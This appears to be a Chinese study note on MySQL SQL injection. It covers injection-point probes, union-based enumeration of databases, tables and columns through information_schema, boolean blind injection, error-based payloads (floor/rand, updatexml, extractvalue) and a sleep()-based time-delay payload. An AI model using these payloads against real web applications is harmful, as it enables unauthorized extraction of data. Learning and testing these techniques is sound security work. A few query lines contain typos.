MySQL數(shù)據(jù)庫初始的數(shù)據(jù)庫有:
information_schema,mysql,performance_schema與test。
SQL注入難點:盲注,延時注入,文件導出;
在有些瀏覽器中,可以使用'--+'進行注釋但不能使用'#';
SQL注入實質:就我自己而言所理解的SQL注入是注入的內容與前面的SQL語句重新構造成一個新的SQL語句來完成自己的需求。
SQL注入剛開始時要判斷是否有注入點;
常用的判斷方法(url):
/?id=1--+
/?id=1'--+
/?id=1"--+
/?id=1')--+
/?id=0' or 1=1--+
/?id=1' and 1=0--+
常用函數(shù):
1. version()——MySQL 版本
2. user()——數(shù)據(jù)庫用戶名
3. database()——數(shù)據(jù)庫名
4. @@datadir——數(shù)據(jù)庫路徑
5. @@version_compile_os——操作系統(tǒng)版本
常用連接函數(shù):
1. concat(str1,str2,...)——沒有分隔符地連接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
3. group_concat(str1,str2,...)——連接一個組的所有字符串,并以逗號分隔每一條數(shù)據(jù)
排序(order by)
如果我們需要對讀取的數(shù)據(jù)進行排序,我們就可以使用 MySQL 的order by子句來設定你想按哪個字段哪種方式來進行排序,再返回搜索結果
order by使用:
你可以使用任何字段來作為排序的條件,從而返回排序后的查詢結果。
?默認情況下,它是按升序排列。
你可以添加 WHERE...LIKE 子句來設置條件。
聯(lián)合查詢:
union操作符:
union操作符用于合并兩個或多個select語句的結果集。
union內部的select語句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。
每條select語句中的列的順序必須相同。
多個select語句會刪除重復的數(shù)據(jù)。
聯(lián)合查詢需要建立在有顯示位的基礎上。輸入id=0(-1)的原因是如果輸入一個有意義的值,那么網頁就會返回一個相應的值,這時,它會覆蓋后面聯(lián)合查詢出的結果,所以要用一個無意義的值來避免覆蓋。我們在知道顯示位的時候可以在相應的位置寫入希望查詢的語句。
查詢函數(shù):
group_concat:將數(shù)據(jù)呈一行顯示,有的時候數(shù)據(jù)過多沒辦法使用的時候可以用limit來對輸出的數(shù)據(jù)進行限制。
db_name:你想查找的數(shù)據(jù)庫的名字
tb_name:你想查找的數(shù)據(jù)表的名字
col_name:你想查找的字段的名字(字段=列)
常用查詢語句:
查詢所有數(shù)據(jù)庫名:
select group_concat(schema_name) from information_schema.schemata
查詢當前數(shù)據(jù)庫:
select database();
查詢數(shù)據(jù)庫的所有數(shù)據(jù)表:
select group_concat(table_name) from information_schema.tables where table_schema='db_name'
查詢字段名:
1.select group_concat(column_name) from infromation_schema.columns where table_schema='db_name' and table_name='tb_name'
2.Select column_name from information_schema.columns where table_name='dbname'
查詢數(shù)據(jù):select group_concat(col_name) from db_name.tb_name
盲注
盲注的分類:
基于布爾 SQL 盲注
基于時間的 SQL 盲注
基于報錯的 SQL 盲注
盲注常用的函數(shù):
mid()函數(shù)
mid(string,start,length)
mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位
substr()函數(shù)
substr(string,start,length)
substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉換為 ascii 值
left()函數(shù)
left(string,length)
left(database(),1)>’s’?????????? //database()顯示數(shù)據(jù)庫名稱,left(a,b)從左側截取 a 的前 b 位
string:規(guī)定要返回的字符串。
start:規(guī)定在字符串的何處開始(初始值為1)。
length:規(guī)定被返回字符串的長度(可以省略,若省略則返回剩余所有文本)。
在比較的時候可以直接使用單引號>‘s’,也可以先轉換位ascii碼的形式再進行比較。
布爾盲注的原理是根據(jù)頁面返回的是true還是false來判斷比較的字母是否正確。例如,如果數(shù)據(jù)庫的第一個字母在ASCII表中小于與100相對應的字母,那么就會返回正常情況下的成功頁面;如果不小于的話,就會返回錯誤的頁面。
報錯注入:
報錯注入也是盲注的一種,應該為基于盲注的報錯注入。目的是構造 payload 讓信息通過錯誤提示回顯出來。
常用報錯方式:
floor報錯:
▲and (select 1 from(select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)?
floor()函數(shù)原本為向下取整,其中rand()函數(shù)為隨機數(shù)生成,不能于order by共用,數(shù)據(jù)記錄必須有兩條以上
▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))
a from information_schema.columns group by a;
▲select count(*) from information_schema.tables group by concat(version(),
floor(rand(0)*2))
▲select count(*) from (select 1 union select null unionselect !1) group by concat(version(),floor(rand(0)*2))
此處有三個點,一是需要 concat 計數(shù),二是 floor,取得 0 or 1,進行數(shù)據(jù)的重復,三是 group by 進行分組,但具體原理解釋不是很通,大致原理為分組后數(shù)據(jù)計數(shù)時重復造成的錯誤。
updatexml報錯:
and updatexml(1,payload,1)
語句對payload的返回類型做了限制,只有在payload返回的不是xml格式才會生效,查詢時使用的concat()函數(shù)是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現(xiàn)格式錯誤,出現(xiàn)查詢結果。
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 對 xml 數(shù)據(jù)進行查詢和修改的 xpath 函數(shù),xpath 語法錯誤
extractvalue()報錯:
and extractvalue(1, payload)
其中payload是想要輸入的查詢子句。
extractvalue(1,concat(0x7e,(select @@version),0x7e))
//mysql 對 xml 數(shù)據(jù)進行查詢和修改的 xpath 函數(shù),xpath 語法錯誤
報錯注入我使用的并不熟練,在此感謝大佬的文章SQL注入大法 - 簡書
延時注入
sleep(n):網頁延遲n秒輸出結果;
if(a,b,c):if判斷句,a為條件,b、c為執(zhí)行語句;如果a為真就執(zhí)行b,a為假就執(zhí)行c;
length(database()):返回當前數(shù)據(jù)庫名長度;
If(ascii(substr(database(),1,1))>115,0,sleep(5))--+
//if 判斷語句,條件為假,執(zhí)行 sleep
以上所述只是簡單的基礎操作,在實際的SQL注入中還有許多需要注意的問題。
如:導入導出,寬字節(jié)注入……
但基礎操作和中心思想卻沒有大的變化。